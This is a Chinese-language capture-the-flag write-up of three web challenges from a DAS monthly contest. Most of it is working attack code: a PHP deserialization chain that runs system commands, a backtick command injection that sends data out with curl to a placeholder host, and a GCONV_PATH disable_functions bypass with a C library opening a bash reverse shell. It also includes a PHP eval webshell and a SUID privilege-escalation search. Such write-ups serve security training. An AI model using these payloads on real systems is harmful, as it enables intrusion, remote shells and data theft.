Das 月赛合集
2022三月
Web
ezpop
简单的反序列化,直接给出 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
class crow { public $v1; public $v2; }
class fin { public $f1; }
class what { public $a; }
class mix { public $m1; }
$fin1 = new fin(); $what1 = new what(); $mix1 = new mix(); $crow1 = new crow();
$fin1->f1 = $what1; $what1->a = $mix1; $mix1->m1 = $crow1;
$fin2 = new fin(); $mix2 = new mix();
$crow1->v1 = $fin2; $fin2->f1 = $mix2; $mix2->m1 = "\n system('cat *');";
echo urlencode(serialize($fin1));
|
calc
源码中重要的地方就只有这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| def waf(s): blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__'] flag = True for no in blacklist: if no.lower() in s.lower(): flag = False print(no) break return flag
@app.route("/calc", methods=['GET']) def calc(): ip = request.remote_addr num = request.values.get("num") log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)
if waf(num): try: data = eval(num) os.system(log) except: pass return str(data) else: return "waf!!"
|
可以看到 waf 设定了黑名单,ban 了很多东西,那走 eval
代码执行这条路就封了,但是下面有一个 os.system(log),这里会调用系统命令把 log 写入到 log.txt 中,而过 log 是不需要绕黑名单的,那好办。
` 反引号不在黑名单中,直接利用 log 进行 RCE。
tips: 直接 `ls` 的话,eval 会报错,所以要先注释掉。
123#`ls`
但是 os.system(log) 并未输出出来,所以还需要一个可以把 flag 显示出来的方法,利用 curl 外带。
`curl -d “`cat tmp/log.txt`“ http://your_ip:port\`
由于” “ 空格被 waf ban了,所以利用 %09
绕过
`curl%09-d%09”`cat%09tmp/log.txt`“%09http://your_ip:port\`
upgdstore
直接上传读取 phpinfo
没有拦截
发现 disable_function
ban了很多函数
用 GCONV_PATH
绕 disable_function
传入 gconv-modlues
1 2
| module EXP// INTERNAL ../../../../../../../../tmp/exp 2 module INTERNAL EXP// ../../../../../../../../tmp/exp 2
|
编译传入 exp.so 弹shell
exp.c
1 2 3 4 5 6 7
| #include<stdlib.h>
void gconv() {}
void gconv_init(){ system("bash -c 'exec bash -i &>/dev/tcp/your_ip/port <&1'"); }
|
gcc exp.c -o exp.so -shared -fPIC
由于题目的 upload 中有 waf,所以可以仿造题目源码写一个 upload 入口点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <div class="light"><span class="glow"> <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"> 嘿伙计,传个火?! <input class="input_file" type="file" name="upload_file"/> <input class="button" type="submit" name="submit" value="upload"/> </form> </span><span class="flare"></span><div> <?php $msg = "Upload Success!"; if (isset($_POST['submit'])) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_name = $_FILES['upload_file']['name']; $img_path = '/tmp/' . $file_name; if (move_uploaded_file($temp_file, $img_path)){ $is_upload = true; } else { $msg = 'Failed!'; } echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>"; }
|
存放路径就放在我们需要的 /tmp/
中。
然后由于 upload 的 waf 大小写敏感,所以可以大写字母绕过获取 include
,包含传入的 base64 编码后文件
1
| <?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0zM2EzNWFlNGE1YWY2ODJjN2E1ZDE1MDhjZTE3OWE0My5waHA="));?>
|
这样可以利用到上传点了
还可以利用这个方式传入一句话
1
| <?php eval($_POST['cmd']);?>
|
就可以任意代码执行触发 exp.so
弹出 shell,但是没有权限读取 flag,利用 find 查看设置了 SUID 的文件。
find / -user root -perm -4000 -print 2>/dev/null
直接用 nl 读取。